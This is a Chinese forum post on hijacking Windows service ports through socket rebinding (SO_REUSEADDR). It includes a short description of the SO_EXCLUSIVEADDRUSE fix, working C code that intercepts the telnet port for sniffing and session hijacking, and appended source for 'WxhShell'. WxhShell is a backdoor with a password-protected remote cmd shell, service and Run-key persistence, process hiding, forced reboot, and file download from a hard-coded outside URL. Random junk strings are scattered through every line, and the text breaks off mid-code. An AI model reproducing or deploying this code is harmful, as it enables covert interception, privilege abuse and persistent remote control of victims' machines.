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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :}q\tNY<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %2l7Hmp4H  
cAuY4RV  
  saddr.sin_family = AF_INET; K@:m/Z}|4  
!GK$[9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ${hz e<g  
p{Sh F.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <{J5W6  
" I+p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ofdZ1F  
GWP dv  
  这意味着什么?意味着可以进行如下的攻击: p>*i$  
-1r2K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +K$NAT  
C)RBkcb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e@]Wh)  
x?yD=Mq_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XbXA+ey6  
9#/(N#>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W/+K9S25  
=o=1"o[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oC |WBS  
!Pj/7JC0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A74920X`W  
,|T7hTn=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BavO\{J#|0  
SpSnoVI  
  #include NgZUnh3{  
  #include z1V#'$_5-  
  #include v"Jgw;3  
  #include    5OP`c<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pW?& J>\6  
  int main() .[s2zI  
  { qE7R4>5xjO  
  WORD wVersionRequested; f4('gl9  
  DWORD ret; ^U  q  
  WSADATA wsaData; d/,E2i{I7  
  BOOL val; \5><3*\  
  SOCKADDR_IN saddr; NAFsFngqH  
  SOCKADDR_IN scaddr; 8cWZ"v  
  int err; XvGA|Ekf<  
  SOCKET s; e [0w5)X   
  SOCKET sc; nCxAQ|P?  
  int caddsize; qr(`&hB-L  
  HANDLE mt; 4? (W%?  
  DWORD tid;   8;\sU?  
  wVersionRequested = MAKEWORD( 2, 2 ); 2WBq  
  err = WSAStartup( wVersionRequested, &wsaData ); H7g< p"  
  if ( err != 0 ) { !u;>Wyd W  
  printf("error!WSAStartup failed!\n"); y2yKm1<Ru<  
  return -1; "^CXY3v  
  } bE\,}DTy  
  saddr.sin_family = AF_INET; eiMH['X5  
   6[dur'x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @,H9zrjVFZ  
u5E]t9~Pq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f-RK,#^?,  
  saddr.sin_port = htons(23); E;(Rm>lB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &Ral+J  
  { ^ @=^;nB  
  printf("error!socket failed!\n"); w!3>N"em  
  return -1; /2uQCw&x-  
  } "HIXm  
  val = TRUE; % 4 ~l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >yK0iK{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =tdSq"jh  
  { m}Y0xV9  
  printf("error!setsockopt failed!\n"); fnu"*5bE  
  return -1; sq0 PBEqq  
  } lPP,`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .0y%5wz8j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !]?$f=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P\R27Jd  
g@v s*xE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +C{p%`<  
  { A}VYb:u/  
  ret=GetLastError(); (!K_Fy@  
  printf("error!bind failed!\n"); Oe]&(  
  return -1; E+xuWdp.*  
  } pw020}`  
  listen(s,2); K\.5h4k  
  while(1) $p* p  
  { 3`V1XE.;  
  caddsize = sizeof(scaddr); O/Y)&VG7  
  //接受连接请求 (M-ZQ -  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z4U9n'{  
  if(sc!=INVALID_SOCKET) %}Q&1P=  
  { }=}>9DS M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ">jwh.  
  if(mt==NULL) %Kb9tHg  
  { L\aBc}  
  printf("Thread Creat Failed!\n"); \x\ 5D^Vc  
  break; MBr:?PE7  
  } d+L#t  
  } (jWss  V1  
  CloseHandle(mt); Cpl;vQ  
  } j . A6S`  
  closesocket(s); p9ZXbAJ{  
  WSACleanup(); 7S^""*Q^  
  return 0; !fkep=  
  }   dj9 ?t  
  DWORD WINAPI ClientThread(LPVOID lpParam) FH5ql~  
  { .m4;^S2cO  
  SOCKET ss = (SOCKET)lpParam; jx`QB')kX  
  SOCKET sc; 3K0tC=  
  unsigned char buf[4096]; `iShJz96  
  SOCKADDR_IN saddr; W0`Gc {  
  long num; H:{7X1bV  
  DWORD val; Xh+ia#K  
  DWORD ret; Owv +1+B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YoODR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QL7>;t;  
  saddr.sin_family = AF_INET; j5 wRGn3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W  0[N0c  
  saddr.sin_port = htons(23); Uu p(6`7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) keAcKhj  
  { }E^S]hdvz  
  printf("error!socket failed!\n"); VV_l$E$  
  return -1; B0UJq./`  
  } R!x: C!{  
  val = 100; v Y|!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V_^@  
  { ~[PKcEX  
  ret = GetLastError(); m>&HuHf  
  return -1; ~4,I7c7  
  } ><?BqRm+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `m~syKz4A  
  { V`hu,Y;%  
  ret = GetLastError(); e_3CSx8Cc  
  return -1; xl4=++pu)  
  } jdqj=Yc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ctmQWrk|B  
  { ,K9f_bv  
  printf("error!socket connect failed!\n"); t` ^ Vb-  
  closesocket(sc); ,Fqz e/  
  closesocket(ss); pb;")Q'  
  return -1; KU&G;ni2  
  } _Tm0x>EM  
  while(1) N]/!mo?  
  { |I8Mk.Z=FA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @]CF&: P A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jk~:\8M(A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !mfJpJ  
  num = recv(ss,buf,4096,0); dx_6X!=.J  
  if(num>0) +*nGp5=^GE  
  send(sc,buf,num,0); @!tVr3;N$  
  else if(num==0) 9L eNe}9v  
  break; #TJk-1XM*q  
  num = recv(sc,buf,4096,0); m@xi0t  
  if(num>0) oUDVy_k  
  send(ss,buf,num,0); V2&^!#=s  
  else if(num==0) dG'SZ&<  
  break; 7LZ^QC  
  } (il0M=M  
  closesocket(ss); tOdT[&  
  closesocket(sc); /ONV5IkPy  
  return 0 ; :Waox"#=g  
  } "&YYO#YO  
l3i,K^YL  
Eh8Pwt7C@  
========================================================== 2h~-  
f?fKhu2  
下边附上一个代码,,WXhSHELL >%b\yl%0  
SqPtWEq@P  
========================================================== Sq]pQ8  
jB$SUO`*  
#include "stdafx.h" `\$8`Zb;  
pNaiXu3  
#include <stdio.h> Y0uvT7+[hi  
#include <string.h> ` vk0c  
#include <windows.h> 7G2PMe;$m  
#include <winsock2.h> 3SG?W_  
#include <winsvc.h> Q%=YM4;  
#include <urlmon.h> $+= <(*  
T8J4C=?/  
#pragma comment (lib, "Ws2_32.lib") haSM=;uPM  
#pragma comment (lib, "urlmon.lib") Z)< wv&K  
Q%ad q-B  
#define MAX_USER   100 // 最大客户端连接数 5OLQw(E  
#define BUF_SOCK   200 // sock buffer ReB7vpd  
#define KEY_BUFF   255 // 输入 buffer F}?<v8#z0  
x4?10f(9=  
#define REBOOT     0   // 重启 o3Ot.9L  
#define SHUTDOWN   1   // 关机 }U 5Y=RYo  
GRYe<K  
#define DEF_PORT   5000 // 监听端口 #XIc "L)c  
Ws[D{dS/  
#define REG_LEN     16   // 注册表键长度 a=}*mF[ug  
#define SVC_LEN     80   // NT服务名长度 wGKo.lt   
+=@^i'  
// 从dll定义API '"YYj$> '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7v~j=Z>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eBr4O i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c=p=-j=.J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T.&7sbE_  
XJ\hd,R   
// wxhshell配置信息 3fS}:!sQ  
struct WSCFG { mX# "+X|  
  int ws_port;         // 监听端口 6Z:YT&,f  
  char ws_passstr[REG_LEN]; // 口令 C0 ) Z6  
  int ws_autoins;       // 安装标记, 1=yes 0=no $n=lsDnhQ  
  char ws_regname[REG_LEN]; // 注册表键名 {")\0|2\x  
  char ws_svcname[REG_LEN]; // 服务名 GlYly5F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '?Bg;Z'L%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )najO *n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rj] E@W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zc5 :]]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9M$/=>^ Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @s* ,xHE  
3}Xc71|v  
}; c$M%G)P  
/Bv#) -5  
// default Wxhshell configuration y.a]r7  
struct WSCFG wscfg={DEF_PORT, 5N/Lk>p1u  
    "xuhuanlingzhe", |Ur"za;%@  
    1, >l1 r,/\\  
    "Wxhshell", x"B' zP  
    "Wxhshell", Utl t<  
            "WxhShell Service", loOOmHhJ&  
    "Wrsky Windows CmdShell Service", P_4DGW  
    "Please Input Your Password: ", L ubrn"128  
  1, cnNOZ$)  
  "http://www.wrsky.com/wxhshell.exe", |7F*MP  
  "Wxhshell.exe" = 1|"-  
    }; [Eq<":)  
d "<F!?8  
// 消息定义模块 [s6C ZcL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7!4V >O8@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {[OwMk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1 =GI&f2I  
char *msg_ws_ext="\n\rExit."; kA?_%fi1  
char *msg_ws_end="\n\rQuit."; aq>?vti1D  
char *msg_ws_boot="\n\rReboot..."; M@7Xp)S"  
char *msg_ws_poff="\n\rShutdown..."; {[#(w75R{  
char *msg_ws_down="\n\rSave to "; h[Tk; h  
] f 7#N  
char *msg_ws_err="\n\rErr!";  -;c  
char *msg_ws_ok="\n\rOK!"; )C]x?R([m  
<e"J4gZf&  
char ExeFile[MAX_PATH]; z/|BH^Vw  
int nUser = 0; __N.#c/l{  
HANDLE handles[MAX_USER]; !vqC+o>@  
int OsIsNt; N+Sq}hI  
s;.=5wcvi?  
SERVICE_STATUS       serviceStatus; R,0Oq5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R{}qK r  
:=.*I  
// 函数声明 $[CA&Y.  
int Install(void); l gq=GHW  
int Uninstall(void); p8>%Mflf  
int DownloadFile(char *sURL, SOCKET wsh); EA0iYzV  
int Boot(int flag); fEqC] *s  
void HideProc(void); KCqqJ}G  
int GetOsVer(void); x7ATI[b[  
int Wxhshell(SOCKET wsl); NPU^) B  
void TalkWithClient(void *cs); S7sb7c'4 k  
int CmdShell(SOCKET sock); Uene=Q6>  
int StartFromService(void); 9%,;XQ  
int StartWxhshell(LPSTR lpCmdLine); <|F-Dd  
 kq/u,16@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @6MAX"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %v=!'?VT  
#+jUhxq  
// 数据结构和表定义  H!eh J$[  
SERVICE_TABLE_ENTRY DispatchTable[] = -Zy)5NB-tZ  
{ o:\XRPB  
{wscfg.ws_svcname, NTServiceMain}, vDDljQXw4  
{NULL, NULL} aj7dH5SZl  
}; L(o#4YH}>J  
(cV  
// 自我安装 bx;f`8SN  
int Install(void) qu{mqkfN>  
{ {*xBm#  
  char svExeFile[MAX_PATH]; ZgYZwc&-  
  HKEY key; 'D6 bmz  
  strcpy(svExeFile,ExeFile); qo;)X0 N  
_Z#eS/,O@  
// 如果是win9x系统,修改注册表设为自启动 8&(-8  
if(!OsIsNt) { fPQ|e"?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F=Y S^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )/Y~6A9>  
  RegCloseKey(key); f%Ke8'&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UxqWnHH.`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z,Xk\@  
  RegCloseKey(key); 5 si}i'in  
  return 0; 7'.s7& '7  
    } Yn<)k_kp  
  } qei$<j'b  
} [thboP.?  
else { uWc:jP  
$ KQ,}I  
// 如果是NT以上系统,安装为系统服务 c E76L%O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xqWj|jA  
if (schSCManager!=0) j#igu#MB*  
{ "$@,n7 k  
  SC_HANDLE schService = CreateService \y~)jq:d"  
  ( 'p)QyL`d  
  schSCManager, fValSQc!U  
  wscfg.ws_svcname, $ I<|-]u  
  wscfg.ws_svcdisp, uPU#c\  
  SERVICE_ALL_ACCESS, l>Av5g)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K-@bwB7~s  
  SERVICE_AUTO_START, M,..Kw/ }~  
  SERVICE_ERROR_NORMAL, l2/ @<0P  
  svExeFile, jgRCs.6  
  NULL, wZ>Y<0,  
  NULL, =J3`@9;  
  NULL, ,cQA*;6  
  NULL, w%u5<  
  NULL n-OWwev)  
  ); NsmVddj  
  if (schService!=0) {3 o% d:  
  { )%#?3X^sI  
  CloseServiceHandle(schService); aL)$b  
  CloseServiceHandle(schSCManager); W-Of[X{<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZNy9_a:dX  
  strcat(svExeFile,wscfg.ws_svcname); I9/KM4&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %UG/ak%z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )E~mJln  
  RegCloseKey(key); t aV|YP$  
  return 0; 04\Ta  
    } ..$>7y}  
  } a7 )@BzF#  
  CloseServiceHandle(schSCManager); R0IF'  
} +$ ~8)95<B  
} ZgBckb  
G5u meqYC  
return 1; npj5U/  
} Rp eBm#E2  
O3xz|&xY&  
// 自我卸载 m)k-uWc$C  
int Uninstall(void) sL mW\\kA>  
{ bL MkPty  
  HKEY key; $Sw,hb  
T#N80BH[  
if(!OsIsNt) { UzJ!Y/5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AS q`)Rz  
  RegDeleteValue(key,wscfg.ws_regname); /&6Q)   
  RegCloseKey(key); hU+#S(t>b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p XNtN5@FQ  
  RegDeleteValue(key,wscfg.ws_regname); Cz[5Ug'V  
  RegCloseKey(key); ZIy(<0  
  return 0; d~/xGB`<  
  } o@',YF>OQ  
} s kY0\V  
} Xv&%2-V;  
else { 2<m Q,,j  
' tSnH&c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q'C 4pn@  
if (schSCManager!=0) Xky@[Td*  
{ wOM<X hZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C=s((q*  
  if (schService!=0) v C-[#]<  
  { T7s+9CE  
  if(DeleteService(schService)!=0) { 2_I+mQ  
  CloseServiceHandle(schService); -G!6U2*#  
  CloseServiceHandle(schSCManager); o[imNy~~  
  return 0; 4V>vg2 d  
  } K"I{\/x@  
  CloseServiceHandle(schService); D/*vj|  
  } (I!1sE!?1  
  CloseServiceHandle(schSCManager); 2X^iV09  
} fGo_NB  
} kp.|gzA6  
Ltl]j*yei  
return 1; _rG-#BKW8L  
} 3U>S]#5}  
wH!}qz /  
// 从指定url下载文件 Iw*C*%}[Z  
int DownloadFile(char *sURL, SOCKET wsh) e00RT1L  
{ Z{ %Uw;d  
  HRESULT hr; eoC<a"bJ>  
char seps[]= "/"; qb9}&'@:  
char *token; U#iT<#!l2  
char *file; VrudR#q  
char myURL[MAX_PATH]; pj j}K  
char myFILE[MAX_PATH]; O/nqNQ?<  
|<'10  
strcpy(myURL,sURL); C~:b*X   
  token=strtok(myURL,seps); 7Z VVR*n|  
  while(token!=NULL) [(!Q-8  
  { Zr5'TZ`$  
    file=token; O${r^6Hh  
  token=strtok(NULL,seps); PXR0Yn  
  } {.cB>L  
KZi+j#7O  
GetCurrentDirectory(MAX_PATH,myFILE); H]U "+52h  
strcat(myFILE, "\\"); $=7H1 w  
strcat(myFILE, file); j#CuR7m  
  send(wsh,myFILE,strlen(myFILE),0); s^obJl3  
send(wsh,"...",3,0); V02309Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); & 8zk3  
  if(hr==S_OK) q~mcjbLz  
return 0; ^sJ1 ^LT  
else 2k%Bl+I  
return 1; +7`u9j.  
l;XUh9RF`A  
} FU^Y{sbDg  
/Ql6]8.P  
// 系统电源模块 zkH<aLRB  
int Boot(int flag) p$B)^S%0i  
{ 7jhl0  
  HANDLE hToken; T3 =)F%  
  TOKEN_PRIVILEGES tkp; ozT._ C  
T..-)kL+p  
  if(OsIsNt) { 69N1 mP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )0'Y et}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >h|UCJ1 `  
    tkp.PrivilegeCount = 1;  n})  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $&bU2]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DrW/KU,{+(  
if(flag==REBOOT) { LPsh?Ca?N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %L.lkRs  
  return 0; Lqg7D\7j  
} $hC~af6  
else { W=q?tD~V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7l[t9ON  
  return 0; A[K:/tB  
} G1,Ro1  
  } gGF$M `  
  else { ^.nwc#  
if(flag==REBOOT) { ?SBh^/zf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kw)C{L5a  
  return 0; w;@`Yi.WQ  
} goG] WGVr  
else { ^XtHF|%0T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fN~8L}!l  
  return 0; +SP! R[a  
} rjfc.l#v  
} 4X<Oux*  
FuIWiO(  
return 1; pIk4V/ fy  
} ,q{lYX83S  
0%vixR52  
// win9x进程隐藏模块 L2:oZ&:u`J  
void HideProc(void) e,PQ)1  
{ B(HNB\3u  
ch%Q'DR_I)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0:~gW#lD  
  if ( hKernel != NULL ) J+-,^8)  
  { K+(m'3`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @Z"QA!OK~c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vbW\~xf  
    FreeLibrary(hKernel); **"zDY*?W  
  } #sozXza\G  
?14X8Mb8W_  
return; cuJ / Vc  
} ,:\zXESy4  
RXIH(WiK  
// 获取操作系统版本 5|{  t+u  
int GetOsVer(void) r>n8`W  
{ 1 8l~4"|fk  
  OSVERSIONINFO winfo; fSm?27_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F>hVrUD8  
  GetVersionEx(&winfo); vLVSZX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ktj(&/~}  
  return 1; T1Ln)CS?9  
  else -K{\S2  
  return 0; #$9U=^Z[  
} 2nOe^X!*  
9 &?tQ"@x  
// 客户端句柄模块 KyVe0>{_u  
int Wxhshell(SOCKET wsl) B{=,VwaP_  
{ 6'3Ey'drH  
  SOCKET wsh; 6EW"8RG`  
  struct sockaddr_in client; 4c493QOd  
  DWORD myID; r-Xjy*T  
/ r`Y'rm  
  while(nUser<MAX_USER) ZVCv(J  
{ JC1BUheeb  
  int nSize=sizeof(client); Y+S~b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sZ\i(eIU  
  if(wsh==INVALID_SOCKET) return 1; D(W7O>5vQ2  
t/4/G']W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !YuON6{)  
if(handles[nUser]==0) qX}dbuDE"P  
  closesocket(wsh); `0/gs  
else c;A ew!  
  nUser++; O;.d4pO(tC  
  } I+-Rs2wb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IrVM|8vT3  
vwSX$OZ  
  return 0; Fp* &os  
} -F~9f>  
Q'vIeG"o  
// 关闭 socket eFeCS{LV+  
void CloseIt(SOCKET wsh) 'JXN*YO  
{ ?j ;,q  
closesocket(wsh); `\}zm~  
nUser--; zjhR9  
ExitThread(0); 8I|1P l  
} J0{WqA.P  
G/^5P5y%@  
// 客户端请求句柄 'SXpb?CZ  
void TalkWithClient(void *cs) "1\RdTw  
{ /-cX(z 7  
A*?/F:E  
  SOCKET wsh=(SOCKET)cs; u+"hr"}${  
  char pwd[SVC_LEN]; 8wNU2yH+D  
  char cmd[KEY_BUFF]; 3vEjf  
char chr[1]; _16 &K}<  
int i,j; %QlBFl0a  
}tg:DG  
  while (nUser < MAX_USER) { Ix l"'Q_z  
~vvQz"  
if(wscfg.ws_passstr) { ?PH}b?f4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CMD`b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x#!{5;V&K  
  //ZeroMemory(pwd,KEY_BUFF); :+X2>Lu$FA  
      i=0; M`f;-  
  while(i<SVC_LEN) { %)!~t8To  
RI< Yg#   
  // 设置超时 ~P.-3  
  fd_set FdRead; 4h0jX 9  
  struct timeval TimeOut; m0q`A5!)  
  FD_ZERO(&FdRead); )QJU ]G  
  FD_SET(wsh,&FdRead); }][|]/s?42  
  TimeOut.tv_sec=8; hwb(W?*  
  TimeOut.tv_usec=0; p{pzOMi6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }<x!95  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V-o`L`(F`  
-^NAHE$bW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wr6xuoH  
  pwd=chr[0]; e#Zf>hlAz  
  if(chr[0]==0xd || chr[0]==0xa) { y*TNJJ|  
  pwd=0; Z!BQtICs  
  break; k kuQ"^<J  
  } r5$?4t  
  i++; 0OoO cc  
    } DG%%]  
2ucsTh@  
  // 如果是非法用户,关闭 socket APOU&Wd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *p<5(-J3  
} ($ 1<Dj:  
Z[A|SyZp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M#gGD-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `E1_S  
gpTF^.(  
while(1) { %2FCpre;  
I}CA-8  
  ZeroMemory(cmd,KEY_BUFF); 0jx~_zq-j  
fgz'C?  
      // 自动支持客户端 telnet标准   uvc{RP  
  j=0; <38@b ]+  
  while(j<KEY_BUFF) { 7ump:|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D_;n4<|.  
  cmd[j]=chr[0]; ]> "/<"  
  if(chr[0]==0xa || chr[0]==0xd) { R5~vmT5W  
  cmd[j]=0; ;ZW}47:BS6  
  break; >[3,qP]E  
  } "rlSK >`  
  j++; R@{/$p:  
    } .}u(&  
U=<.P;+f9  
  // 下载文件 -W"0,.Dvg  
  if(strstr(cmd,"http://")) { x~Esu}x7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e, 3(i!47  
  if(DownloadFile(cmd,wsh)) *,=+R$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<ma K*f\S  
  else # ;KG6IE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +!Gr`&w*)  
  } \:)o'-   
  else { >"My\o  
!/lY q;$R  
    switch(cmd[0]) { o_^d>Klb8  
  C36.UZoc  
  // 帮助 aGkVC*T  
  case '?': { 1H@rNam&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Xho0lO&  
    break; wjGjVTtHs  
  } HC`3AQ12!&  
  // 安装 ,(Hmk(,  
  case 'i': { !`Yi{}1_  
    if(Install()) ~0$F V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VX@G}3Ck  
    else qc4 "0Ap'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .L|ax).D  
    break; [";5s&)q  
    } 3B|-xq;]I  
  // 卸载 cNB$g )`  
  case 'r': { @ tp7tB ;  
    if(Uninstall()) 6G})h!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x;]{ 8#-z  
    else Yt<PKs#E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y>m=cqR  
    break; 0mi[|~x=  
    } lTd2~_  
  // 显示 wxhshell 所在路径 JF\viMfR  
  case 'p': { 7%FZXsD  
    char svExeFile[MAX_PATH]; e9~4wt  
    strcpy(svExeFile,"\n\r"); s7.*o@G  
      strcat(svExeFile,ExeFile); ; SM^  
        send(wsh,svExeFile,strlen(svExeFile),0); :NyEd<'  
    break; YD.^\E4o  
    } :|mkI#P.  
  // 重启 :pu{3-n.  
  case 'b': { 4gNRln-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tLXw&hFk`g  
    if(Boot(REBOOT)) 4'=N{.TtO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \uPTk)oaB  
    else { `*!>79_2C  
    closesocket(wsh); I*R$*/)  
    ExitThread(0); Oydmq,sVe(  
    } CXFAb1m  
    break; oVsazYJ|?  
    } ,(=]6V  
  // 关机 aM}"DY-_ h  
  case 'd': { vj$ 6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); twS3J)UH  
